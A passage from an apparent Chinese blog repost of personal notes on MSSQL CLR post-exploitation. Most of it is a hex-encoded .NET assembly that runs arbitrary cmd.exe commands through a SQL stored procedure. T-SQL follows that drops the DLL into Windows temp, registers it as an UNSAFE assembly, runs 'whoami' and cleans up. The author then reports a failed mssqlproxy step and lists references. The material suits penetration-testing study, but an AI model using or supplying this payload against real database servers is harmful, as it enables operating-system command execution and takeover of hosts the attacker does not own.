5365727665722e5365727665720053716c50726f6365647572654174747269627574650053797374656d2e446961676e6f73746963730050726f636573730050726f636573735374617274496e666f006765745f5374617274496e666f007365745f46696c654e616d65006765745f56616c756500537472696e6700466f726d6174007365745f417267756d656e7473007365745f5573655368656c6c45786563757465007365745f52656469726563745374616e646172644f75747075740053746172740053716c4d657461446174610053716c4462547970650053716c446174615265636f72640053716c436f6e746578740053716c50697065006765745f506970650053656e64526573756c747353746172740053797374656d2e494f0053747265616d526561646572006765745f5374616e646172644f757470757400546578745265616465720052656164546f456e6400546f537472696e6700536574537472696e670053656e64526573756c7473526f770053656e64526573756c7473456e640057616974466f724578697400436c6f7365000000003743003a005c00570069006e0064006f00770073005c00530079007300740065006d00330032005c0063006d0064002e00650078006500000f20002f00430020007b0030007d00000d6f00750074007000750074000000a8d1b0181bae7940aee54017db44e16a0008b77a5c561934e0890500010111090320000104200101080401000000042000121d042001010e0320000e0500020e0e1c042001010203200002072003010e11290a062001011d1225040000123505200101122d042000123905200201080e0907031219122d1d12250801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f77730100002c27000000000000000000004e270000002000000000000000000000000000000000000000000000402700000000000000000000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004c02000000000000000000004c0234000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000000000000000000000000000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004ac010000010053007400720069006e006700460069006c00650049006e0066006f0000008801000001003000300030003000300034006200300000002c0002000100460069006c0065004400650073006300720069007000740069006f006e000000000020000000300008000100460069006c006500560065007200730069006f006e000000000030002e0030002e0030002e00300000003c000d00010049006e007400650072006e0061006c004e0061006d006500000063006d0064005f0065007800630065002e0064006c006c00000000002800020001004c006500670061006c0043006f00700079007200690067006800740000002000000044000d0001004f0072006900670069006e0061006c00460069006c0065006e0061006d006500000063006d0064005f0065007800630065002e0064006c006c0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000030002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000030002e0030002e0030002e0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000603700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
EXEC sp_OAMethod @ob, 'SaveToFile', NULL, 'c:\windows\temp\cmd_exec.dll', 2
EXEC sp_OAMethod @ob, 'Close'
EXEC sp_OADestroy @ob

image.png
然后

CREATE ASSEMBLY my_assembly FROM 'C:\windows\temp\Database3.dll' WITH PERMISSION_SET = UNSAFE;

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

cmd_exec 'whoami'

DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

image.png
復現到這里復現不下去了,腳本連接一直失敗。說是要開啟Windows Authentication參數來,保證正常登錄
可是我去開啟了 依舊一樣。。。。下一次再搞吧。
MSSQL突破文章:https://mp.weixin.qq.com/s/Yh2x1QFclMzvRCoNobdaAA
工具下載和使用:https://github.com/blackarrowsec/mssqlproxy

參考文章

https://mp.weixin.qq.com/s/oSAHrOm9dHEQIJnDvvOIPg
https://teamssix.com/211027-163641.html#toc-heading-50
https://paper.seebug.org/1525/#sql-server-clr


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM